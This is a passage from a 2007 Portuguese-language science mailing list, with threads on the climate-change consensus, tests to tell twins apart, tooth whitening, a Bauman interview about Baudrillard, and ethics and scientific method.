S�o os *c�ticos* sobre o ambientalismo, mas se voc� realmente seguir o
conselho deles e procurar se informar um pouco, descobrir� que este tipo de
ceticismo n�o � t�o diferente dos c�ticos sobre a ida do homem �
Lua<http://www.showdalua.com/>.
Um ceticismo investigativo verdadeiro leva a conclus�es bem diferentes �
talvez n�o t�o alarmistas quanto a de ambientalistas, incluindo Al Gore, mas
certamente n�o t�o radical e paran�ica como a de conservadores desavisados.
Antes de mais nada: a comunidade cient�fica aceita hoje como consenso que a
atividade humana contribui de forma significativa para o aquecimento global.
Isso n�o se resume ao IPCC da ONU, que segundo "c�ticos", teria chegado a
tal consenso por motivos pol�ticos e n�o cient�ficos. Uma revis�o da
literatura cient�fica incluindo 928 trabalhos publicados entre 1993 e
2003<http://www.sciencemag.org/cgi/content/full/306/5702/1686>mostrou
que 75% seguiam o consenso de que estamos esquentando nosso planeta,
enquanto o restante lidava com m�todos e quest�es que n�o envolviam tomar
uma posi��o. "Notavelmente, *nenhum trabalho discordava da opini�o de
consenso*".
E quanto aos argumentos de que as varia��es de temperatura seriam derivadas
de fatores n�o-antropog�nicos, como o ciclo solar, radia��o c�smica; ou de
que aumento nas emiss�es do famigerado di�xido de carbono em anos recentes
n�o teriam causado impacto nas temperatura planet�rias?

Estimativas da irradia��o solar total (TSI) baseadas na contagem de manchas
solares e abund�ncia de is�topos e medi��es diretas por sat�lites (desde
1978) indicam que a atividade solar realmente n�o mudou desde 1950. Al�m
disso, o esfriamento global de 1945 a 75 foi muito pequeno, em torno
de 0.06graus C. E sabemos a causa: foi por causa do aumento dos
aeross�is de
sulfato na atmosfera (que t�m um efeito de esfriamento) devido � atividade
industrial durante e ap�s a Segunda Guerra. Isto contrabalan�ou o efeito de
aquecimento de gases estufa, que n�o eram t�o abundantes ent�o quanto s�o
hoje.
Mas nos anos 1970, emiss�es de aeross�is de sulfato foram limitadas
(principalmente por lei, j� que s�o respons�veis pela "chuva �cida"),
enquanto gases estufa continuam a se acumular na atmosfera. � por isto que
desde em torno de 1975 � a "era de aquecimento global moderna" � gases
estufa se tornaram o fator dominante. Compare o aquecimento de quase
0.6gras C desde 1975 com o esfriamento de
0.06 graus C durante o per�odo de 1945-75.
A no��o de que a temperatura global deve acompanhar a concentra��o de CO2 �
risca durante a hist�ria se baseia na id�ia ing�nua de que o CO2 � o �nico
fator influenciando o clima. Ironicamente, c�ticos freq�entemente acusam
climatologistas disto, ao alegar que eles ignoram o efeito do Sol. Em
verdade, a climatologia moderna considera todos fatores conhecidos, enquanto
c�ticos tendem a se agarrar apenas em um (como o sol) e tentam faz�-lo
explicar tudo.
[Tamino <http://tamino.wordpress.com/>]

Aqui, um contra-argumento mencionado pelo Rabiscos pode parecer persuasivo:
"*voc� j� parou pra pensar na nossa arrog�ncia em pensar que o homem tem
capacidade de mudar o clima de terra?*"
O esfriamento global (em verdade, o escurecimento global) provocado pela
emiss�o de aeross�is mencionado acima prova o poder inesperado que de fato
temos em influenciar o clima do planeta. Voc� pode dar uma olhada neste sum�rio
de um document�rio muito interessante sobre o escurecimento
global<http://www.globalissues.org/EnvIssues/GlobalWarming/globaldimming.asp>.
O document�rio em si pode ser alarmista em excesso, mas o escurecimento
global <http://en.wikipedia.org/wiki/Global_dimming> � um fato cient�fico
hoje aceito (embora n�o t�o conhecido). Nossa reles atividade industrial foi
capaz de diminuir a incid�ncia de radia��o solar sobre o solo em mais de 5%.
Isto, em escala global.
Por fim, um detalhe irrelevante. O s�tio TCS que abriga o artigo que comp�e
a base do post no Rabiscos foi patrocinado pela
ExxonMobil<http://www.exxonsecrets.org/html/orgfactsheet.php?id=112>.
A maior parte dos fundos utilizados pela TCS em 2003 vieram da empresa
petrol�fera<http://www.sourcewatch.org/index.php?title=Tech_Central_Station>
.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: [RN] MIDIA OMITE DECISOES SOBRE TRANSGENICOS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/03/2007 09:00

LAUDAS CRITICAS, 04-03-2007

MÍDIA OMITE DECISÕES JUDICIAIS SOBRE TRANSGÊNICOS

"Apesar do gancho oferecido pelo confronto entre a CTNBio (Comissão
Técnica Nacional de Biossegurança) e o Greenpeace Brasil, a chamada
grande imprensa brasileira não fez, ao longo dos últimos dez dias,
nenhuma referência a uma importante reportagem veiculada pela revista
norte-americana Science em sua edição de 23 de fevereiro: três
tribunais federais dos Estados Unidos exigiram estudos de impacto
ambiental para plantios experimentais de sementes transgênicas." (e)
http://laudascriticas.blogspot.com/2007/03/estranha-omisso-relacionada-aos.html

------------
[]s,

Roberto Takata



SUBJECT: Re: Teste para gêmeos
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/03/2007 09:02

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
>
> Depende. Uma simples olhada pode ser mais do q o suficiente para
> distinguir os dois casos. Em todo caso, qual o nível de confiabilidade
> aceitável?

Se na aparência eles são diferentes (altura e peso, além de traços
fisionômicos) isto é indício seguro que se tratam de gêmeos fraternos?

[]s
--
César A. K. Grossmann



SUBJECT: Re: Teste para gêmeos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/03/2007 09:27

--- Em ciencialist@yahoogrupos.com.br, César A. K. Grossmann
> Se na aparência eles são diferentes (altura e peso, além de traços
> fisionômicos) isto é indício seguro que se tratam de gêmeos fraternos?

Altura e peso pode variar um tto se os irmãos estiveram submetidos a
um histórico de vida diferente - foram criados separados, um teve uma
doença e outro não, etc. Traços fisionômicos no todo podem contar as
diferenças: formato do nariz, dos olhos, dos lábios, da orelha, etc.

Pra não depender de praticamente contexto algum, um exame genético do
tipo RFLP pode ser feito - mas é caro demais (algumas centenas de
reais pelo menos) pra tirar uma dúvida comezinha como essa.

Há testes excludentes tb - confirma q são diferentes caso os
resultados sejam diferentes, mas não confirmam q são idênticos se os
resultado forem iguais. Sexagem e tipagem sangüínea, por exemplos. Mas
é possível combinar isso de modo a diminuir as dúvidas - e sem
aumentar muito os custos.

Por exemplo, digamos q os pais sejam AB e AB. As chances dos dois
terem o mm tipo sangüíneo é de 37,5%. De ambos terem o mm sexo é de
50%. A probabilidade de serem do mm sexo e terem o mm tipo sangüíneo é
de 18,75%. Aí corrige-se pelas probabilidades de serem fraternos dado
q são gêmeos e de serem univitelinos dado q são gêmeos.

[]s,

Roberto Takata



SUBJECT: Clareamento dental: o que funciona?
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/03/2007 09:50

Olá

O assunto atraiu minha atenção recentemente, e andei fazendo algumas
pesquisas. Existem basicamente dois tratamentos recomendados pelos
dentistas: no consultório e o "caseiro". O tratamento no consultório
varia bastante, e geralmente consta de um polimento e pode ter
aplicação de produtos e mesmo raio laser, caso o dentista seja mais
moderninho. O tratamento 'caseiro' parece que é o mais prático e o que
melhor funciona, mas ele não é totalmente 'caseiro', já que o paciente
deve comprar um kit de clareamento, que consta de um molde para os
dentes, e um produto químico.

Fora do tratamento com dentistas, existe uma gama de produtos que se
propõe a clarear os dentes, a maioria constando de bicarbonato de
sódio em pó ou em algum gel dentifrício. Pelo que me consta, estes
tratamentos todos se baseiam no desgaste da camada superior do dente.

Há 50 anos atrás, meu pai, antes de ir para os bailes, lavava
vigorosamente os dentes com produtos de limpeza (com certeza ele não
era um "boca suja") comuns, mas imagino que este tipo de coisa cause
mais mal que bem.

A alternativa parece ser evitar tudo que possa manchar os dentes, como
o cigarro e o café, e mesmo o excesso de flúor parece estar causando
manchas amarelas em adolescentes.

No meu caso, tenho dentes que estão com uma cor muito estranha, mas é
por que eles tem obturação metálica e, segundo meu último dentista, o
metal da obturação migrou em parte para o dente. Os outros estão
amarelos por que não dispenso um café...

E aí, alguém que entende do assunto poderia dar uma pincelada no
assunto? O que é que funciona e o que não funciona para manter os
dentes limpos? Existe um antídoto ou uma forma de proteger o dente
contra manchas causadas pelo café?

[]s
--
César A. K. Grossmann



SUBJECT: Re: Teste para gêmeos
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/03/2007 10:10

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> Há testes excludentes tb - confirma q são diferentes caso os
> resultados sejam diferentes, mas não confirmam q são idênticos se os
> resultado forem iguais. Sexagem e tipagem sangüínea, por exemplos. Mas
> é possível combinar isso de modo a diminuir as dúvidas - e sem
> aumentar muito os custos.
>
> Por exemplo, digamos q os pais sejam AB e AB. As chances dos dois
> terem o mm tipo sangüíneo é de 37,5%. De ambos terem o mm sexo é de
> 50%. A probabilidade de serem do mm sexo e terem o mm tipo sangüíneo é
> de 18,75%. Aí corrige-se pelas probabilidades de serem fraternos dado
> q são gêmeos e de serem univitelinos dado q são gêmeos.

Poderia ser usado em um trabalho de feira de ciências de ensino básico?

[]s
--
César A. K. Grossmann



SUBJECT: Re: [ciencialist] Clareamento dental: o que funciona?
FROM: "psdias" <psdias@gmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/03/2007 10:31

>O tratamento 'caseiro' parece que é o mais prático e o que
>melhor funciona, mas ele não é totalmente 'caseiro', já que o paciente
>deve comprar um kit de clareamento, que consta de um molde para os
>dentes, e um produto químico.

a) Passei pelo processo acima, mas fiz tudo com acompanhamento
do meu dentista, que tem mestrado em ortodontia (e estética dentária em
geral). Não sei se estava pensando em executar o processo "sozinho",
mas acho que é mais seguro se tiver acompanhamento de um especialista
(mesmo que fique mais caro).

b) Para mim, o clareamento funcionou - meus dentes eram "naturalmente"
bastante escuros (amarelados), e na escala de cores que os dentistas
utilizam, mudei 2 ou 3 tons (os dentes ficaram mais claros). Não me lembro
com certeza porque passei pelo tratamento há uns 5 anos. Há pessoas que
conseguem resultados ainda melhores - segundo meu dentista, isso depende
da "genética dentária" de cada um (não sei se estou usando os termos
técnicos corretos).

c) Pelo que eu me lembre, meu dentista disse que o processo que utilizei
não agride o esmalte dos dentes, pois o produto entra nos dentes e agem
"de dentro para fora", sem desgastar a superfície (não sei dizer se estou
descrevendo corretamente o processo - estou mencionando tudo de memória).

d) O laser é mais rápido (poucas sessões), mas pelo menos na época em que fiz o tratamento,
era bem mais caro (não me lembro o quão mais caro).

e) O tratamento que usei exigia que eu dormisse todos os dias com moldes que se encaixavam
nos dentes (arcada superior e inferior). Eu colocava um produto em forma de gel
(esqueci o nome) no molde e depois encaixava os moldes para dormir.
O único inconveniente era que os dentes ficavam com uma sensibildade aumentada
para alimentos ácidos, ou para alimentos muito frios ou muito quentes. Mas com
o término do tratamento, isso passou, depois de alguns poucos dias. Parece que
com o tratamento a laser essa sensibilidade não ocorre.

f) O clareamento que fiz dura bastante tempo (por exemplo, fiz há 5 anos, e somente
há pouco tempo percebi que talvez seja necessário refazer o processo). Não sei se
com laser o clareamento dura mais (também depende dos hábitos alimentares e de
cigarro da pessoa)

g) Enfim, acho que o melhor mesmo é você ter o acompanhamento de um profissional
competente. Meu dentista chegou a comentar que se o processo não for feito com cuidado,
pode danificar os dentes de modo irreversível.

Bom clareamento !
Paulo

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: O homem que inspirou Matrix
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: Ciência Lista <ciencialist@yahoogrupos.com.br>
DATE: 12/03/2007 10:59

O homem que inspirou Matrix Em entrevista à Folha, o sociólogo polonês Zygmunt Bauman, que está lançando no Brasil "Vida Líqüida", diz que Jean Baudrillard foi fundamental para a crítica dos fetiches contemporâneos
MARCOS FLAMÍNIO PERES
EDITOR DO MAIS!
Crítico da sociedade de consumo e da massificação das relações humanas, o sociólogo francês Jean Baudrillard, que morreu na terça-feira passada aos 77 anos, foi um dos pensadores mais presentes -e contestados- no debate público desde o fim dos anos 1960.
Noções como simulacro e hiper-realidade ganharam o mundo por meio de seus escritos e de suas intervenções, como na série "Matrix" -embora afirmasse que esta foi "uma interpretação incorreta de sua obra" (leia seus conceitos-chave na pág. ao lado). Germanista de formação, iniciou a carreira na Universidade de Paris, em Nanterre, que vivia a ebulição do pré-Maio de 68. Afinado com as posições do situacionismo de Guy Debord e da semiótica de Roland Barthes, Baudrillard aliou a contundente crítica à "sociedade de espetáculo" do primeiro à análise dos signos sociais presente na obra do segundo.
Embora dono de vasta bibliografia -como "O Sistema dos Objetos" (1968) e "A Sociedade de Consumo" (1970)-, foi coerente com seu modo de pensar e não constituiu escola nem seguidores. Por isso, chegou a ser visto como o "anti-Bourdieu" , referência ao mestre da sociologia que dominou o pensamento -e a burocracia- do meio universitário francês nas últimas décadas do século passado. Essa foi uma das razões porque sempre foi mais ouvido fora da França -sobretudo nos Estados Unidos.

Na linha de frente
Suas posições sempre o colocaram na linha de frente do debate público -ainda que suas avaliações errassem o alvo em várias ocasiões. Nos anos 1970, previu que a Guerra do Vietnã seria um "álibi" para os EUA incorporarem a China e a Rússia. Já ao afirmar que a Guerra do Golfo (1991) "não existiu", procurou diagnosticar o caráter "cirúrgico" de uma guerra "virtual", em que "o inimigo não é mais do que um número no computador".
Após o 11 de Setembro, previu o fim das "mitologias do futuro" -"o progresso, a tecnociência e a história". Em 1996, foi alvo, assim como Deleuze, Guattari e Lyotard, da paródia criada por Alan Sokal na revista "Social Text", em que o físico da Universidade de Nova York atacou o estilo "difícil" e "vazio" dos pós-modernos (leia entrevista com Sokal na pág. seguinte). Contudo permanece inatacável a importância de Baudrillard como destruidor de fetiches contemporâneos, como defende o sociólogo polonês radicado na Inglaterra Zygmunt Bauman. Autor de "Vida Líqüida" (Jorge Zahar, trad. Carlos Alberto Medeiros, 210 págs., R$ 36), que está saindo no Brasil, Bauman afirma que o pensador francês foi "o supremo especialista em rasgar máscaras e desmascarar fetiches".
Ele "fez um trabalho absolutamente necessário em um mundo obcecado pelas imagens", diz na entrevista abaixo, concedida à Folha. Mas, lembra Bauman, ao levar ao limite a sua iconoclastia, Baudrillard encontrou -escondido atrás das máscaras- apenas o "vazio".

FOLHA - Qual é a importância das idéias de Baudrillard hoje?
ZYGMUNT BAUMAN - Jean Baudrillard foi o maior iconoclasta de nossa época, o supremo especialista em rasgar máscaras e desmascarar fetiches... Diferentemente de outros, ele se recusou a proclamar o "fim" de qualquer coisa (da ideologia, utopia, filosofia, história ou o que seja), tentando, em vez disso, demonstrar a impossibilidade de resolver as questões de sua validade.
Ele empurrou a arte da iconoclastia a extremos que outros não desejaram ou não puderam alcançar. Fez um trabalho absolutamente necessário em um mundo obcecado pelas imagens, em que a condição preliminar para qualquer tentativa de melhorar a situação é resistir ao poder sedutor das imagens e escapar de seu encantamento. Realizou à perfeição essa tarefa de "limpar o terreno".
Mas parou nesse ponto. Ao levar as iniciativas iconoclastas além de seus limites anteriores, aproximou-se perigosamente do niilismo...
Como o herói de Ibsen, Peer Gynt, pensando em seu "eu autêntico" como uma espécie de cebola, não encontrou um núcleo duro quando descascou a última camada, apenas o nada. Assim, Baudrillard, depois de arrancar todas as máscaras que o mundo supostamente usava, se deparou com o vazio.
Ele limpou o terreno potencial da construção, mas um cemitério de máscaras e fetiches se mostrou inadequado para sustentar qualquer edifício...
FOLHA - Quais obras e conceitos de Baudrillard permanecerão?
BAUMAN - Não sou profeta nem vidente, e em nosso mundo veloz as obras tendem a ser rapidamente esquecidas, enquanto o destino dos conceitos tende a ser caprichoso. Mas certamente optaria pela idéia de "simulacro" e sua aplicação à percepção de tudo o que parece "realidade", mas da qual não podemos dizer onde está a diferença entre "representação" e "o que é representado" .
Simulacro não é simulação -neste caso, ninguém apenas mente ou age sob falsas pretensões. De maneira semelhante aos problemas psicossomáticos, as dores do paciente são genuínas, e todos os sintomas do sofrimento estão presentes - mesmo que não seja possível descobrir as "causas orgânicas" da doença.
Então, o paciente está doente ou não? Mente ou fala a verdade? Bem, Baudrillard apenas repetiria, como Pôncio Pilatos: "O que é a verdade?". Pergunta que, como você se lembra, nem ele respondeu...
FOLHA - O sr. é um crítico dos "muros universitários" , como um obstáculo ao livre pensamento. Baudrillard, como um dos últimos intelectuais envolvidos no debate público, foi o último livre-pensador? Nesse caso, sua morte representa o fim de uma era?
BAUMAN - Não ouse proclamar o fim dos intelectuais, do debate público ou do livre pensamento! Sua morte foi anunciada muitas vezes, mas, como uma fênix, sempre se reergueu das cinzas, mesmo que sob uma forma diferente. E lembre-se também de que Baudrillard passou a maior parte da vida dentro dos "muros universitários" e foi um professor zeloso, que viajou ao redor do mundo dando seminários em universidades.
É verdade que as pressões das rotinas universitárias em nossa sociedade de mercado não encorajam o livre pensamento e afastam a grande maioria dos acadêmicos das responsabilidades intelectuais. Mas o papel do intelectual sempre foi uma vocação da minoria, enquanto alguns conseguiram permanecer livres até em campos de concentração.. .
FOLHA - Qual será o futuro da sociologia?
BAUMAN - Creio que em nenhum outro momento a sociologia foi tão necessária quanto hoje, embora os tipos de serviços que foi preparada para oferecer na fase "sólida" da modernidade não sejam mais muito solicitados (alguns sociólogos americanos, por exemplo, temem "perder o contato com a agenda pública"). Em nossa época, diversas "funções públicas" foram abandonadas pelas instituições públicas e "terceirizadas" para iniciativas de mercado ou "subsidiarizadas" para a "política de vida" individual.
Como afirmou [o sociólogo] Ulrich Beck, hoje espera-se que os indivíduos construam individualmente, usando recursos individuais, soluções individuais para problemas comuns e produzidos socialmente. Diante dessa tarefa, todos precisamos ter conhecimento confiável sobre os modos como os "fatos da vida" são produzidos e nos confrontam como realidade imutável.
Essas fontes e raízes não podem ser apreendidas dentro da experiência individual e permaneceriam invisíveis sem a ajuda da sociologia.
FOLHA - Por que o sr. prefere o termo "modernidade líqüida" a "pós-modernidade" ?
BAUMAN - "Pós-modernidade" foi temporariamente útil para mim como uma espécie de conceito "improvisado" . Sugeria, corretamente, que as condições de vida já são um tanto diferentes do que pensamos que seriam as condições modernas, mas era descomprometido sobre a natureza dessa diferença. Também sugeria, erradamente, que a modernidade "terminou" e já estamos em outra era... O conceito de "modernidade líqüida" evita esse último erro e enfatiza que somos tão, senão mais, modernos quanto nossos pais e avós.
Sugere que, no fundo de todas as outras (numerosas) diferenças, está a nova "liquidez" -a incapacidade endêmica de nossa sociedade, e de qualquer parte dela, de manter sua forma por algum período de tempo.
FOLHA - Em "Amor Líqüido", o sr. afirma que o amor é hoje identificado pela "racionalidade do consumidor". O consumo, como em Baudrillard, é a "bête noire" da sociedade contemporânea?
BAUMAN - Não tanto o consumo (afinal, essa é a eterna necessidade de todo ser humano), mas o consumismo: a tendência a perceber o mundo como basicamente um enorme recipiente dos potenciais objetos de consumo e de moldar todas as relações humanas conforme o padrão de consumo.
Assim, o outro (parceiro, amigo, vizinho, parente) é "bom" desde que traga satisfação e pode (ou deve) ser descartado quando a satisfação acabe ou se mostre não tão boa quanto se esperava ou quanto a que outra pessoa talvez pudesse fornecer em seu lugar. Outros seres humanos se tornam descartáveis e facilmente substituíveis -como os bens de consumo são ou deveriam ser.
Afinal, não fazemos juramento de eterna fidelidade a celulares, televisores, computadores, carros, geladeiras e outros bens de consumo. Quando eles param de funcionar ou são superados por ofertas novas e mais atraentes, nos separamos deles com pouca tristeza e sem escrúpulos... Na verdade, tendemos a comemorar a substituição! Mas esse "padrão consumista" é contrário aos princípios que conduzem nossos relacionamentos amorosos.
Se for aplicado, torna impossível a relação amorosa realmente satisfatória. Ele envenena a parceria com desconfiança mútua e a enche de constante incerteza quanto às intenções do parceiro. Amplia qualquer desavença mínima a uma proporção gigantesca, dando motivos suficientes para terminar e recomeçar em outro lugar. Assim como devolvemos uma mercadoria imperfeita à loja, exigindo nosso dinheiro de volta...
Sob a pressão do consumismo, as relações amorosas se transformam em episódios amorosos: tornam-se frágeis, quebradiças, não-confiáveis -antes uma fonte de medo, ao invés de alegria.
FOLHA - Em "Vida Líqüida", o sr. diz que vivemos sob condições de constante incerteza. Como essas novas condições modificam nossa percepção do mundo político?
BAUMAN - A incerteza, o medo do desconhecido, das ameaças imprevisíveis e inomináveis ao corpo humano, à propriedade, ao esquema de vida são uma matéria-prima facilmente reciclada em capital político.
A promessa de "ser duro" com criminosos, estranhos, imigrantes, mendigos e todas as outras pessoas vistas como incômodos e potenciais perigos se torna uma arma preferida em disputas políticas.
Os governos são capazes de aparecer como guardiões da segurança e salvadores de catástrofes indizíveis, que, de outro modo, sem sua vigilância e empenho, poderiam afetar seus súditos, enquanto os partidos de oposição desenvolvem um "benefício próprio" ao convencer os cidadãos de que os verdadeiros perigos são muito maiores do que os governos deixam perceber.
Jogar com os sentimentos de insegurança e os medos resultantes se torna hoje o principal veículo de dominação política.

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fw: [ciencialist] Crueldade com animais
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/03/2007 12:07

JR vou parar por aqui. Enquanto não acharmos a ética
universal vamos ficar apenas nos achismos e no plano
da retórica. Foi proveitosa toda essa polêmica. Essa
história de escolha lembra aquele velho dilema entre
determinismo e acaso. Mas isso fica pra um outro
debate....

Abraços.

--- José Renato <jrma@terra.com.br> escreveu:

> Olá, Chicão! Essa é uma questão de escolha... A
> nossa vida é construída,
> destruída ou mantida por permanentes escolhas que
> fazemos e pelas decisões
> que tomamos. Encontrar as melhores decisões e
> escolhas para cada situação é
> a pedra de toque que os sábios buscam há tempos.
> Como elas são praticamente
> infinitas alguns roteiros básicos são copilados para
> orientações gerais. Mas
> no particular, cada um vai ter de optar, escolher e
> decidir. Ou deixar que
> decidam por nós.
> Faço outros comentários no corpo do e-mail, após
> JR2, OK?
> ..............................................
> From: "Chicao Valadares" <chicaovaladares@To:
> <ciencialist@yahoogrupos.com.br>
> Sent: Thursday, March 08, 2007 4:22 PM
> Subject: Re: Fw: [ciencialist] Crueldade com animais
>
>
> > JR, minhas respostas seguem depois do ">>>>>".
> >
> > JR1 - Dor e prazer são sinais sensíveis relativos.
> O
> > atleta sofre muito durante a preparação para bater
> > seus recordes com a intenção de ter o prazer de
> > possuir uma medalha de ouro, seu nome nos anais,
> > valorização,
> > admiração, etc. Dor e prazer não são indicativos
> > absolutos. Muitas vezes o prazer de comer uma
> caixa de
> > chocolate acaba mal. Esse equilíbrio nas atitudes
> já
> > era perseguido por Sócrates com muito empenho.
> Perceba
> >
> > que buscar a felicidade, a glória e o gozo é o
> > objetivo maior e legítimo do ser humano. As
> > dificuldades ocorrem quando minha visão é curta e
> > atropelo tudo que de bom possuo para obter isso. A
> > troca é prejudicial a
> > mim e a todos que uso ou despacho para obter a
> > felicidade a qualquer custo. Vou postar uma
> reflexão
> > que fiz sobre isso, provocada há tempos
> > pelo Bulcão, na lista Acropolis.
> >
> >>>>>>Concordo com a relatividade.
> >
> >
> > JR1 - Mas quando o ser humano toma consciência de
> sua
> > existência passa a buscar viver de verdade, ter um
> amor de
> > verdade, ser feliz de verdade... Ilusões distraem
> e confortam
> > durante algum tempo. Mas o bom mesmo é
> > a realidade com todas as sua conseqüências.
> >
> >>>>>>O que é verdade??? A realidade é boa porque dá
> > prazer??? Eu posso na MATRIX fazer com que voce
> saiba mais
> > verdades que uma pessoa comum. Com isso você
> pensaria
> > que conhece a realidade e seria bom para você.
> > Não gostaria de entrar na MATRIX???
> JR2 - Parece que o que faço o tempo todo é tentar
> sair dela, da geléia geral
> em que estamos vivendo, da ilusão manipulada pelos
> meios de comunicação
> acionados pelos interesses comerciais e políticos.
> Viver na realidade ou na
> verdade dá mais segurança, harmonia,
> tranquilidade... O melhor em tudo é não
> confundir o imaginado e o sonhado com a Realidade. É
> isso que a Ciência
> busca.
> >
> > JR1 - Viver de mentirinha é o que já faço de
> diversas
> > maneiras e em diversas ocasiões. Mas os meus
> melhores
> > momentos da vida vieram através da realidade e da
> > lucidez em percebê-la. Nela me realizo.
> >
> >>>>>>Não gostaria de entrar na MATRIX???
> JR2 - De algum modo já estamos nela. O que procuro é
> sair dela.
> >
> > JR1 - É o que todos os "espertos e sabidórios"
> > fazem... Quanto a não
> > ser punido ou não sentir remorsos não é uma
> certeza
> > obtida de antemão.
> > Quando menos se espera vem a tal crise existencial
> e
> > aí o cara se
> > constata um merda, mentiroso, falso, safado, lixo,
> > traidor, etc. e nem sabe
> > mais quem ele é de fato no meio de tanta falsidade
> e
> > mentira.
> >
> >>>>>>Todas as pessoas não são assim. Existem
> aquelas
> > que não sentem nenhum remorso em fazer ações
> > consideradas más.
> JR2 - Alguns sentimentos são inatos. Prejudicar
> conscientemente alguém gera
> no fundo uma reflexão tipo "e se ele fizesse isso
> para mim" que vai geram um
> sentimento semelhante ao que chamamos de remorso. Em
> estudos dos diversos
> órgãos ou componentes do nosso sistema cognitivo
> identifica-se regiões onde
> estão os "bancos de dados" e procedimentos de
> avaliação ética-moral. Célebre
> é o caso do trabalhador que sofreu dano no célebro
> provocado por um prego
> disparado por uma pistola pneumática. Penetrou na
> cabeça, mas ele continuou
> consciente e aparentemente não prejudicou em nada
> seus movimentos e
> atividades intelectuais. Após a remoção do prego,
> recuperação e volta ao
> trabalho, observou-se que o cara estava com um
> comportamento diferente,
> aético, entrão, imoral, inconveniente... A partir
> daí começou-se a fazer
> testes mais acurados sobre o funcionamento dessa
> região afetada e de outras
> regiões do cérebro.
> >
> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
> pode
> > dar algum prazer, algum tipo de emoção forte. Os
> > cruéis patológicos têm orgasmos ao praticar
> violência,
> > mas é um distúrbio mental que não me parece grande
> > coisa desejar possuir. Quanto à vontade de usar
> minha
> > experiência de vida para discernir o que é melhor,
> o
> > que deve ser evitado e o que precisa ser superado,
> é
> > um exercício diário que requer tempo, coragem e
> > reflexão. Cometer os mesmos erros ou o erro dos
> outros
> > burrice em dobro. Prefiro tentar algo diferente e
> que tenha
> > alguma chance de obter melhores resultados...
> >
> >>>>>> E os cruéis não patológicos??? O resto que
> você
> > disse é relativo.
> JR2 - Em sã consciência somos capazes das maiores
> crueldades e das maiores
> generosidades. Ilude-se quem acha que não é capaz de
> fazer alguma ignomínia.
> Basta estar na situação adequada para praticá-la. E
> como sempre consideramos
> algum ponto de referência pode estar certo que não
> só o resto como tudo o
> mais é relativo a esse ponto. Em geral, procura-se
> um ponto ótimo
> inatingível como referência ou norte.
> >
> > JR1 - Mas, Chicão, não é esse objetivo que nos
> ilude
> > desde sempre? O crime perfeito! E cada vez mais se
> > sofistica as formas burlar, de modo a ser à prova
> de
> > qualquer investigação, até que alguém de dentro do
> > esquema se sente enganado e, antes de ser
> eliminado,
> > denuncia(RJ) ou mesmo o burlador se rende à
> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
> >
> >>>>>> Isso também não poderá acontecer e as coisas
> > ficarem sob segredo.
> > Você disse que ser bom era mais vantajoso. Devemos
> ser
> > bons porque é mais vantajoso??? Isso depende. Ser
> mau
> > também pode ser vantajoso ao invés de ser bom.
> Note
> > que o príncipio aqui é o do ganho(teoria dos
> jogos).
> > Então ambos são duas faces de uma mesma moeda. Por
> > esse principio você é igual às siglas. [ ... ]
> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
> longo prazo quando todos
> ganham, e essa possibilidade deve ser considerada e
> buscada permanentemente.
> No perde-ganha vc não vive em paz. Alguém vai querer
> tirar o que vc já
> ganhou prejudicando ou não prejudicando outras
> pessoas. Esse é o normal na
> maioria das nossas comunidades.
>
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"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/03/2007 12:15

Alberto, gostei das suas observações. Se voce puder me
dizer algo sobre FENOMENOLOGIA também seria bom.

A não existência de um método completo seria um bom
argumento para os religiosos????


--- Alberto Mesquita Filho <albmesq@uol.com.br>
escreveu:

>
> ----- Original Message -----
> From: "Chicao Valadares"
>
> Sent: Friday, March 09, 2007 7:40 PM
> Subject: Re: [ciencialist] Re: Sobre o Método
> Cientifico
>
> > Eu fui tentar entender os métodos usados nas
> ciencias sociais como
> por
> > exemplo, o estruturalismo mas não entedi nadinha.
> As explicações
> que
> > encontrei são muito viajadas.
>
> Prezado Chicão
>
> Não entendo nada do assunto, mas fui visitar algumas
> páginas da
> Wikipédia a
> respeito e concordo que as explicações são "muito
> viajadas".
> Não obstante,
> gosto de "viajar" e notei existir, nesse
> estruturalismo, uma pitada
> muito
> grande de iniologia, o estudo do complexo yin-yang
> da filosofia
> oriental.
> Talvez fosse interessante, antes de tentar
> compreender o estruturalismo,
> ler
> alguma coisa que escrevi sobre a iniologia,
> principalmente em sua
> relação
> com a linguagem (em especial o capítulo 2). Está em
>
http://ecientificocultural.com/ECC2/FilCien/ci_or00.htm
>
<http://ecientificocultural.com/ECC2/FilCien/ci_or00.htm>
> . Nesta
> página há
> também um link para uma interessante discussão que
> surgiu aqui na
> Ciencialist sobre a "Filosofia dos Antônimos",
> assunto esse que, pelo
> que
> notei, embasa o estruturalismo.
>
> No sentido que você procura colocar, "o
> estruturalismo como
> metodologia
> científica", talvez fosse interessante ler
>
http://www.fcsh.unl.pt/edtl/verbetes/E/estruturalismo.htm
>
<http://www.fcsh.unl.pt/edtl/verbetes/E/estruturalismo.htm>
> . Lembro,
> não
> obstante, que as ciências sociais não situam-se na
> minha praia,
> logo não
> posso dizer nada quanto à qualidade do artigo.
>
> [ ]´s
> Alberto
> http://ecientificocultural.com/indice.htm
> <http://ecientificocultural.com/indice.htm>
> Mas indiferentemente a tudo isso, o elétron não é
> uma carga
